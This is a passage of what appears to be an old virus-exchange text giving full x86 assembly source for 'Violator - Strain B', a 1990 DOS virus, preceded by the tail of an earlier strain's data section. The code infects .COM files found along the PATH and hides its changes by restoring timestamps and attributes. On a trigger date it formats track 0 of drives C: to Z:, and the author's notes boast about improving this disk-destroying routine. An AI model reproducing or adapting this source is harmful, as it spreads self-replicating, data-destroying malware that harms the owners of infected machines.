;Use this with (SI + old_tim)
oldtim_ DW 0 ;Old Time
;Use this with (SI + ol_date)
oldate_ DW 0 ;Old date
;Use this with (SI + old_att)
oldatt_ DW 0 ;Old file attributes
;Here's where the first three bytes of the original .COM file go.(SI + first_3)
first3_ EQU $
INT 20H
NOP
;Here's where the new JMP instruction is worked out
;Use this with (SI + jmp_op)
jmpop_ DB 0E9H ;Start of JMP instruction
;Use this with (SI + jmp_dsp)
jmpdsp_ DW 0 ;The displacement part
;This is the type of file we're looking to infect. (SI + f_spec)
fspec_ DB '*.COM',0
;Use this with (SI + path_ad)
pathad_ DW 0 ;Path address
;Use this with (SI + nam_ptr)
namptr_ DW 0 ;Pointer to start of file name
;Use this with (SI + env_str)
envstr_ DB 'PATH=' ;Find this in the environment
;File name workspace (SI + wrk_spc)
wrkspc_ DB 40h dup (0)
;Use this with (SI + dta)
dta_ DB 16h dup (0) ;Temporary DTA goes here
;Use this with (SI + dta_tim)
dtatim_ DW 0,0 ;Time stamp in DTA
;Use this with (SI + dta_len)
dtalen_ DW 0,0 ;File length in the DTA
;Use this with (SI + dta_nam)
dtanam_ DB 0Dh dup (0) ;File name in the DTA
;Use this with (SI + reboot)
reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
lst_byt EQU $ ;All lines that assemble into code are
; above this one
;*****************************************************************************
;The virus needs to know a few details about its own size and the size of its
; code portion. Let the assembler figure out these sizes automatically.
;*****************************************************************************
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
codelen = vir_dat - v_start ;Length of virus code, only
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
;*****************************************************************************
;Because this code is being appended to the end of an executable file, the
; exact address of its variables cannot be known. All are accessed as offsets
; from SI, which is represented as vir_dat in the below declarations.
;*****************************************************************************
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
old_att = oldatt_ - vir_dat ;Displacement to old attributes
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
path_ad = pathad_ - vir_dat ;Displacement to the path address
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
dta = dta_ - vir_dat ;Displacement to the temporary DTA
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code
CODE ENDS
END VCODE
------------------------------------------------------------------------------
Now here's the source for Violator-B
------------------------------------------------------------------------------
;*****************************************************************************
;
; Violator - Strain B
;
;*****************************************************************************
;
; (Aug/09/90)
;
; Development Notes:
;
; I encountered several errors in the original Violator code which I
; corrected in this version. Mainly, the INT 26 routine to fuck the
; disk. It seems that the routine would crash right after the INT 26
; was executed and the whole program would die. I have since fixed
; this problem in this version with an INT 13, AH 05 (Format Track)
; command. This works better than the subsequent INT 26.
;
;
;*****************************************************************************
;
; Written by - The High Evolutionary -
; RABID Head Programmer
;
; Revised by: «Onslaught»
; No affiliation with rabId
;
; Copyright (C) 1990 by RABID Nat'nl Development Corp.
;
;*****************************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H ; Set ORG to 100H plus our own
VCODE: JMP virus
NOP
NOP
NOP ;15 NOP's to place JMP Header
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat
CLD
MOV SI,DX
ADD SI,first_3
MOV CX,3
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
MOV AH,30H
INT 21H
CMP AL,0 ;Quit it it's DOS 1.0
JNZ dos_ok
JMP quit
dos_ok: PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
MOV DX,dta
ADD DX,SI
MOV AH,1AH
INT 21H
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
JMP year_check
year_check:
MOV AH,2AH ;Get date info
INT 21H ;Call DOS
CMP CX,1990 ;Check to see if the year is 1990
JGE month_check ;If greater or equal, check month
JMP find_path ;If not, go on with infection
month_check:
MOV AH,2AH ;Get date info
INT 21h ;Call DOS
CMP DH,10 ;Check to see if it is September
JGE day_check ;If greater or equal, check day
JMP find_path ;if not, go on with infection
day_check:
MOV AH,2Ah ;Get date info
INT 21H ;Call DOS
CMP DL,31 ;Check to see if it is the 4th
JGE multiplex ;If yes, then nuke drives A:-Z:
JMP find_path ;If not, then go on with infection
multiplex:
MOV AL,cntr ;Counter is the drive to kill
CALL alter ;Go and kill the drive
;25 is drive Z:
CMP cntr,25 ;Is (cntr) 25 ?
JE find_path ;Go on with infection
INC cntr ;Add one to (cntr)
LOOP multiplex ;Loop back up to kill next drive
alter:
MOV AH,05 ;Format Track
MOV CH,0 ;Format track 0
MOV DH,0 ;Head 0
MOV DL,cntr ;Format for drive in (cntr)
INT 13h ;Call RWTS
RET ;Return up for next drive
find_path:
POP SI
PUSH SI
ADD SI,env_str
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will go
; along and infect the ROOT directory on the default drive.
;
JNZ find_path ;If not path, then go to ROOT dir
LOOP check_next_4 ;Go back and check for more chars
POP SI ;Load in PATH again to look for chars
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc ;Put the filename in wrk_spc
MOV BX,SI
ADD SI,wrk_spc
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH
MOV DI,SI
MOV SI,ES:[DI+path_ad]
ADD DI,wrk_spc ;DI is the file name to infect! (hehe)
move_subdir:
LODSB ;To tedious work to move into subdir
CMP AL,';' ;Does it end with a ; charachter?
JZ moved_one ;if yes, then we found a subdir
CMP AL,0 ;is it the end of the path?
JZ moved_last_one ;if yes, then we save the PATH
STOSB ;marker into DI for future reference
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;BX is where the virus data is
POP DS ;Restore DS so that we can do stuph
MOV [BX+path_ad],SI ;Where is the next subdir?
NOP
CMP CH,'\' ;Check to see if it ends in \
JZ slash_ok ;If yes, then it's OK
MOV AL,'\' ;if not, then add one...
STOSB ;store the sucker
slash_ok:
MOV [BX+nam_ptr],DI ;Move the filename into workspace
MOV SI,BX ;Restore the original SI value
ADD SI,f_spec ;Point to COM file victim
MOV CX,6
REPZ MOVSB ;Move victim into workspace
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX is ... THE VICTIM!!!
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1EH ;Mask to remove all but seconds
CMP AL,1EH ;60 seconds
JZ find_next
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr]
PUSH SI
ADD SI,dta_nam
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV [SI+old_att],CX
MOV AX,OFFSET 4301H
AND CX,OFFSET 0FFFEH
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV AX,OFFSET 3D02H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
JNB opened_ok
JMP fix_attr
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
INT 21H
AND DH,7
JMP infect
infect:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp
CMP AX,3
JNZ fix_time_stamp
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV CX,AX
SUB AX,3
MOV [SI+jmp_dsp],AX
ADD CX,OFFSET c_len_y
MOV DI,SI
SUB DI,OFFSET c_len_x
MOV [DI],CX
MOV AH,40H
MOV_CX virlen
MOV DX,SI
SUB DX,OFFSET codelen
INT 21H
JB fix_time_stamp
CMP AX,OFFSET virlen
JNZ fix_time_stamp
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV AH,40H
MOV CX,3
MOV DX,SI
ADD DX,jmp_op
INT 21H
fix_time_stamp:
MOV DX,[SI+ol_date]
MOV CX,[SI+old_tim]
AND CX,OFFSET 0FFE0H
OR CX,1EH
MOV AX,OFFSET 5701H
INT 21H
MOV AH,3EH
INT 21H
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att]
MOV DX,wrk_spc
ADD DX,SI
INT 21H
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
POP CX
XOR AX,AX ;XOR values so that we will give the
XOR BX,BX ;poor sucker a hard time trying to
XOR DX,DX ;reassemble the source code if he
XOR SI,SI ;decides to dissassemble us.
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH ;Return back to the beginning
;of the program
vir_dat EQU $
intro db '.D$^i*&B)_a.%R',13,10
olddta_ DW 0
olddts_ DW 0
oldtim_ DW 0
count_ DW 0
cntr DB 2 ; Drive to nuke from (C:+++)
oldate_ DW 0
oldatt_ DW 0
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H
jmpdsp_ DW 0
fspec_ DB '*.COM',0
pathad_ DW 0
namptr_ DW 0
envstr_ DB 'PATH='
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0)
dtatim_ DW 0,0
dtalen_ DW 0,0
dtanam_ DB 0Dh dup (0)
lst_byt EQU $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100H
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_att = oldatt_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
count = count_ - vir_dat
CODE ENDS
END VCODE